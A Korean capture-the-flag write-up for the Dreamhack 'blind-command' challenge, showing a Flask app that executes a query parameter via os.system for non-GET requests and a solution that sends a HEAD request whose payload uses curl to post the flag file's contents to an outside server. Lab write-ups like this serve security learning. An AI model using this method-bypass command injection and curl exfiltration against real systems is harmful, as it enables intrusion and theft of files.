Back

[dreamhack] blind-command

[문제]

Read the flag file XD

[해결법]

  • HTTP GET Method 우회하여 푸는 문제였다
  • 아래 서버 코드를 보면 GET request를 받을 경우 GET 요청이 아닐 경우 커맨드가 실행되는 것을 확인할 수 있었다.
#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)
  • BURP로 OPTIONS 요청을 보내 사용가능한 Method를 확인했다.

    ctf
    ctf

  • GET으로는 우회가 안되니 HEAD를 활용한 문제라는 것을 알 수 있었다.

  • HEAD 메소드 특성상 body가 들어가지 않기 떄문에 curl을 이용해 외부서버에 요청하기로 생각했다.

    참고

    https://developer.mozilla.org/ko/docs/Web/HTTP/Methods/HEAD

  • 요청 서버는 dreamhack 에서 제공하는 서버에 요청하기로 생각을 했고 payload를 작성해서 날리니 해결되었다.

  • HEAD /?cmd=curl -d “$(cat flag.py)”

    ctf
    ctf

  • 정답화면은 SKIP
    ++ app.py를 수정해서 답을 찾아볼까도 생각을 했는데, 쓰기 권한이 빠져있어서 이건 안될 것이라고 생각이 든다.

comments powered by Disqus